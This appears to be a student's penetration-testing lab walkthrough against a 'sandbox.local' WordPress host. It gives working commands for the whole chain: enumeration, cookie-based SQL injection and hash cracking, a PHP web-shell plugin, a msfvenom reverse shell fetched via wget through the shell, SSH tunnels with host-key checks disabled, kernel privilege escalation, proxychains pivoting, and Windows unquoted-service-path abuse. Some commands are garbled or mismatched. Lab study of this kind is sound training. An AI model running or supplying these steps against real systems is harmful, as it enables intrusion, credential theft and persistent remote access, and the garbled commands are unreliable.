```
first Step :
        Adding ip address to /etc/hosts
        bash -c "echo [ipAddress] [DNS Name]"

Public Network Enumeration :

Scanning :
        nmap -sC -sS -p0-65535 [ipAddress/DNSName]

Targeting the Web Application :
        open webpage in browser

Web Application Enumeration :
        1. Perform a Directory Busting attack to find any hidden directory : Dirbuster
        command : dirb http://sandbox.local
        Now we find that the webpage is using Wordpress :
        Now run a Wordpress scanner to find any known vulnerability
        command : wpscan --url sandbox.local --enumerate ap,at,cb,dbe -o sandbox-scan -f
                  cli-no-color

        2. use searchsploit to find any exploit against wordpress vulnerability
                we find a exploit which need cookie
        3. use burpsuite to intercept the request and find cookie

        4. SQL Injection Enumertion :
                Now replace the cookie parameter with the sql injection show in exploit
                It is confirmed that this site is vulnerable to SQL Injection.
        Now use SQL injection to find tables present in database, try to find admin
        credentials.
        Now use the users table and query for columns .
        Dump the user_name and Password Hash

        5. Cracking the Password :
                use John the reaper to crack the password
                command : john --wordlist=/usr/share/wordlist/rockyou.txt pass.txt
                we get the cracked password niw login to wordpress

Enumerating the Admin Interface :

        In wordpress as a admin we can upload plugins and php shells on that plugins
        to execute arbitary code execution.

 Obtaining a Shell :
        First we need to package the plugin in a way that wordpress can handle
        we need to zip the php plugin

        command : zip plugin-shell.zip plugin-shell.php
        Now upload the zip file and install the plugin

        Now to run command run :
        curl http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami
        Now create a msf payload using :
        msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

        start a local web server :
        python -m SimpleHTTPServer 80

        now fetch this shell from wordpress site using :
        curl http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?
cmd=wget%20http://ipaddress/shell.elf
        encode space character with %20

        Now make the file executable on wordpress :
        http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?
cmd=chmod%20%2bx%20shell.elf
```

run the shell :

```
http://sandbox.local/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=./shell.elf
```

Now we get the shell on the admin

Post Exploitation Enumeration :

Since we know the target is running wordpress all the configuration files and database credentials at :

> wp-config.php

Creating a stable Pivot Point :

we will use remote port forwarding

first we need to find the ports that are opened on server using a bash script:

Creating a Remote Port :

command :

```
ssh -R 1122:[kali_linux_IP]:22 -R 13306:[Server_ip]:3306 kali@192.168.0.121
```

This will cause us two errors :

1. This will prompt us to accept the host key of the kali machine
2. enter the password of kali machine.

This will solve the first issue :

```
ssh -R 1122:[kali_linux_IP]:22 -R 13306:[Server_ip]:3306 -o
"UserUnknownHostFile=/dev/null" -o "StrictHostKeyChecking=no" kali@192.168.0.121
```

Now we need to solve the second Issue :

we can do this by using ssh keys. We will generate ssh keys on the wordpress host , configure kali to accept a login from the newly-generated key(and only allow port forwarding), and Modify the ssh command one more time to match our changes.

command:

```
mkdir keys
cd keys
ssh-keygen
```

give the path of keys directory

this new public key should be added to kali host's authorized_key file for the kali user but with some restriction :

see the authorized_keys on kali.jpg for restrictions

Now the final command will be :

```
ssh -f -N -R 1122:[kali_linux_IP]:22 -R 13306:[Server_ip]:3306 -o
"UserUnknownHostFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/keys/id_rsa
kali@192.168.0.121
```

no-pty : This entry allows the owner of the private key the web server to login in our kali machine but prevents them from running commmands and only allow for port forwarding ;

Targeting the Database :

Enumeration :

Application/Service Enumeration :

```
mysql --host=127.0.0.1 --port=13306 --user=wp -p
MariaDB [(none)]> SHOW Grants
MariaDB [(none)]> show variables
```

Privilege Escalation :

If we stuck and don't have any way to get high level privilege then we have to start finding kernel level exploit :

compile the exploit in kali machine as victim machine has no compiler

now send the compiled code to the victim and run

you get the root level privilege

Now we generate a ssh key on kali linux and transfer this key to victim

now paste this key to victim machine

then from kali machine connect to victim machine using :

```
        ssh root@sandbox.local
```

Now always check for history commands and always check for logs
/var/log/auth.log

Target the Database again :

Now we have root level privilege we can go for exploitation again

Exploitation :

login as root :

```
        mysql --host=127.0.0.1 --port=13306 --user=root -p
```

By page 794 and 795 we get the shell on mysql server ;

Post Exploitation Enumeration :

```
        cat /etc/fstab : this will show the mount system
```

creating a stable Reverse Tunnel :

Newer Version of ssh client allows us to establish a very useful type of tunnel via reverse dynamic port forward.

create a SSH key by using :

```
                ssh-keygen
```

configure this key in kali machine so that it does not require any interaction

now to add into proxychains :

```
                echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
```

Now to run a scanner against proxychains

```
                proxychains nmap --top-ports=20 -sT -Pn [ip_address]
```

socks proxy require a tcp connection

Now we will rdp to the window machine which has share on the mysql linux using proxychains and xfreerdp :

```
        proxychains xfreerdp /d:sandbox /u:alex /v:[ipaddress] +clipboard
```

Post Exploitation Enumeration :

to get services on window machine use WMIC :

```
        wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
```

To list all the permissions a process have use :

```
                icacls "c:\puppets"
```

Now create a payload and encode it
then pass through selter with the whoami binary

then place the binary in the unquoted service path

execute we get the meterpreter

Now we try to get some information about number of users and tokens available :